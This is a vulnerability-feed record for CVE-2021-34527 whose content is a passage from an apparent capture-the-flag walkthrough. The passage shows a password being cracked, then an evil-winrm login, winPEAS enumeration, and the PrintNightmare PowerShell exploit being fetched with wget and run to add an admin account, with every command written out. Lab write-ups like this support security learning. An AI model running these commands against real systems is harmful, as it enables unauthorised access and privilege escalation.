{"uuid": "73a644a5-a1fe-4cd5-a274-c370bc589725", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-34527", "type": "seen", "source": "https://t.me/hacking_Attack/80488", "content": "he ripper using the rockyou dictionary file. We see a cracked credential \u201cliltony\u201d\n\nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuKPCUMQtqotukioDpRZZFcu5o85o7gtRWm5l6BUG8Uk1f-IZGUI5ied9JaNWa978YS1KZB1StZmZDy9HJL7DPFmYfFlWqtaymMDhxnxB14hrzgFKSs3RRcMPD0sMfrfpQ92i4q1cEDJA4aRvb3rT6d2ePoTaLm_aEEvUxHIyvCrkgScxursek_rPhSA/s16000/6.png?w=640&ssl=1 \n\nNext, we tried using SMB tools to access the shell to the server but it didn\u2019t work. In Nmap we see WinRM running so we tried evil-winrm to access tony\u2019s account. You can install evil-winrm using gem. Then we access user.txt on Desktop.\ngem install evil-winrm\nevil-winrm -i 10.129.32.68 -u tony -p liltony\ncd ..\\Desktop\ncat user.txt \nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhw_ZhBoyPp8lK6AmDRpK9FHMie6XYP630K_M3FqXaONwW8sjGM417mBbzvRv1hNTPOdWJ5bOTvh2dDrxIiGXtYPhu0m2v3Tjoab0XSwW9NxthF56S7IHHxww2V3UrFglCtouOgUiSQhETqXlQ5frr-GkhDt7dKOWlwEyQjh-egNMEdc8FRwwsMPniTLA/s16000/7.png?w=640&ssl=1 Privilege EscalationTo enumerate further for privilege escalation, we use winPEASx64.exe. We can download this using wget.\nwget https://github.com/carlospolop/peass-ng/releases/download/20221006/winpeasx64.exe \nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvi4oU_yxr59ZtjERx49jWO0lHlPFPZ9yHh1sadB0CTco5KzQxAp3nA7pALBLkA8_VsA-kU1DDThtL8zgMEHcUc0GUHmL7z6xpATG2Px8vWnlhQjn_VvTjm15gxfu40K3UpIufrBJx1F3xkuOFw4Iff4S5pbpiD_0YXSru4BwWLPUjQPBlt7xnC62kBw/s16000/8.png?w=640&ssl=1 \n\nWe can use the upload feature in evil-winrm to put this file on our box and then run it.\nupload /root/winpeasx64.exe\n.\\winpeasx64.exe \nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhiYdruDzGruDpK_loZHQYostw3OC7wq4EPlwJ0UJeUm7jFhRND-xAFPi9scg1RoE2czqrOiyPR4bQTSWJ8IWnE_3j8VhmeItgxWtqYrkF_PQAm42I7-oxS_2oDMw8lhTMSg6rNFpq-eknou_zInWMC2XPHpzPuwFUvQ_6WLakw43LvXPHigEJ02dDDPw/s16000/9.png?w=640&ssl=1 \n\nIn one of the findings, we see that a powershell history (ConsoleHost_history.txt) file was saved and accessible.\n\nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiu7ndYOtZ2_5iVU8f1U6dDbowG5yDFobAhmtTYZ4gSHfc57K4goHN6NXfAfsQJgQDiHXg5b7O7cGzl0HmXRpppCJM1qeOgDWGz8vxKSzKa8DDMkME4PlojS11Vx4bVcRlOMKdQE0D-Csk4AbuLfwE7H-QkgRKDL7s6DQt49RJwD114hvRt-052vJfp0A/s16000/10.png?w=640&ssl=1 \n\nUpon accessing it, we can see that a printer driver for RICOH PCL6 printer was added.\n\nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmZNKkOqqCBGQP-4a3LpZH0tPhZhJ4nEMwuUZZ1VUKFD-qlw8UYS2zi6bLkzKDG9YEk4puKZMmmlV-kjw9WZe3wRb4LneX5oOWu6Ouej1iC2QbWfaBWHNI4CO7n3CkJN7tTUG7ZJUo9TsKpMBZ8tzps4wFOYkhlKvD09usRN6r2B99i_wEORH9Gln97w/s16000/11.png?w=640&ssl=1 \n\nReading more about the driver, we found it vulnerable to PrintNightmare vulnerability. You can read more about it here. So, we download the powershell exploit created by John Hammond.\nwget https://raw.githubusercontent.com/johnhammond/cve-2021-34527/master/cve-2021-34527.ps1 \nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4mvaeS3-uHq8GIJbZwQSQgJ64E5JwwAkIbyTeHEUa_kB7aJtvLX_yztb0duNDEoGDYxnujYjxQaNU-JBS2yru41or4TVtXuW27sUP5qlEyLCLMIPNHI6rY2NDt25wqImAPEDcnODuJL5nBeAOFfQJoEJzswQd21CbE3LorQYXCIw6zKCk7Qxtv81S0Q/s16000/12.png?w=640&ssl=1 \n\nFurther, this exploit works by creating a new DLL, adding an admin account to the box and then removing traces. So, we upload this exploit onto the box using evil-winrm and create our own admin account- aarti/Ignite@123987.\nSet-ExecutionPolicy RemoteSigned -Scope CurrentUser\nImport-Module .\\CVE-2021-34527.ps1\nInvoke-Nightmare -NewUser \"aarti\" -NewPassword \"Ignite@123987\" \nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirb4LXSMvD8xO4v59mo-bE9IalObDjRilSKTO-XgDSLjBFqvHDTQWTcz3F9L2U3PedZbyJsb3lvb2i5inc-SREwH1pqeU2BZb2djOQFcC5Hk0bhG8D-Gh7w987p1X__1L1KY_OqYoklXqsaFTqHaapmXfuV9gYNZYryPY0EhcDro6Hmz9DmHHbhTBsaA/s16000/13.png?w=640&ssl=1 \n\nWe can confirm the exploit\u2019s working by checking the new user\u2019s existence in the server by using the net us[...]", "creation_timestamp": "2026-09-01T20:01:13.469513Z"}